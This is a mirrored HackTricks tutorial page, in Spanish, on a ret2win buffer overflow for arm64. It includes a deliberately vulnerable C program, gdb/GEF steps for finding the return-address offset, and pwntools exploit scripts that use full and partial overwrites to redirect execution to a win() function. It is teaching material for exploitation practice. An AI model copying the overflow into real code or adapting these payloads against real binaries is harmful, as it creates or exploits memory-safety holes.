mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
170 lines
4.5 KiB
Markdown
170 lines
4.5 KiB
Markdown
# Ret2win - arm64
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
Encuentra una introducción a arm64 en:
|
|
|
|
{{#ref}}
|
|
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
|
{{#endref}}
|
|
|
|
## Code
|
|
```c
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
|
|
void win() {
|
|
printf("Congratulations!\n");
|
|
}
|
|
|
|
void vulnerable_function() {
|
|
char buffer[64];
|
|
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
|
}
|
|
|
|
int main() {
|
|
vulnerable_function();
|
|
return 0;
|
|
}
|
|
```
|
|
Compilar sin pie y canario:
|
|
```bash
|
|
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
|
```
|
|
## Encontrar el offset
|
|
|
|
### Opción de patrón
|
|
|
|
Este ejemplo fue creado usando [**GEF**](https://github.com/bata24/gef):
|
|
|
|
Inicia gdb con gef, crea un patrón y úsalo:
|
|
```bash
|
|
gdb -q ./ret2win
|
|
pattern create 200
|
|
run
|
|
```
|
|
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
arm64 intentará regresar a la dirección en el registro x30 (que fue comprometido), podemos usar eso para encontrar el desplazamiento del patrón:
|
|
```bash
|
|
pattern search $x30
|
|
```
|
|
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**El desplazamiento es 72 (9x48).**
|
|
|
|
### Opción de desplazamiento de pila
|
|
|
|
Comience obteniendo la dirección de la pila donde se almacena el registro pc:
|
|
```bash
|
|
gdb -q ./ret2win
|
|
b *vulnerable_function + 0xc
|
|
run
|
|
info frame
|
|
```
|
|
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Ahora establece un punto de interrupción después del `read()` y continúa hasta que se ejecute el `read()` y establece un patrón como 13371337:
|
|
```
|
|
b *vulnerable_function+28
|
|
c
|
|
```
|
|
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Encuentra dónde se almacena este patrón en la memoria:
|
|
|
|
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Luego: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
|
|
|
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
|
|
|
|
## No PIE
|
|
|
|
### Regular
|
|
|
|
Obtén la dirección de la función **`win`**:
|
|
```bash
|
|
objdump -d ret2win | grep win
|
|
ret2win: file format elf64-littleaarch64
|
|
00000000004006c4 <win>:
|
|
```
|
|
Explotar:
|
|
```python
|
|
from pwn import *
|
|
|
|
# Configuration
|
|
binary_name = './ret2win'
|
|
p = process(binary_name)
|
|
|
|
# Prepare the payload
|
|
offset = 72
|
|
ret2win_addr = p64(0x00000000004006c4)
|
|
payload = b'A' * offset + ret2win_addr
|
|
|
|
# Send the payload
|
|
p.send(payload)
|
|
|
|
# Check response
|
|
print(p.recvline())
|
|
p.close()
|
|
```
|
|
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
|
|
|
|
### Off-by-1
|
|
|
|
En realidad, esto va a ser más como un off-by-2 en el PC almacenado en la pila. En lugar de sobrescribir toda la dirección de retorno, vamos a sobrescribir **solo los últimos 2 bytes** con `0x06c4`.
|
|
```python
|
|
from pwn import *
|
|
|
|
# Configuration
|
|
binary_name = './ret2win'
|
|
p = process(binary_name)
|
|
|
|
# Prepare the payload
|
|
offset = 72
|
|
ret2win_addr = p16(0x06c4)
|
|
payload = b'A' * offset + ret2win_addr
|
|
|
|
# Send the payload
|
|
p.send(payload)
|
|
|
|
# Check response
|
|
print(p.recvline())
|
|
p.close()
|
|
```
|
|
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
|
|
|
Puedes encontrar otro ejemplo de off-by-one en ARM64 en [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que es un verdadero off-by-**one** en una vulnerabilidad ficticia.
|
|
|
|
## Con PIE
|
|
|
|
> [!TIP]
|
|
> Compila el binario **sin el argumento `-no-pie`**
|
|
|
|
### Off-by-2
|
|
|
|
Sin un leak no sabemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible obtener el desplazamiento a la función win (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
|
|
|
|
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
|
```python
|
|
from pwn import *
|
|
|
|
# Configuration
|
|
binary_name = './ret2win'
|
|
p = process(binary_name)
|
|
|
|
# Prepare the payload
|
|
offset = 72
|
|
ret2win_addr = p16(0x07d4)
|
|
payload = b'A' * offset + ret2win_addr
|
|
|
|
# Send the payload
|
|
p.send(payload)
|
|
|
|
# Check response
|
|
print(p.recvline())
|
|
p.close()
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|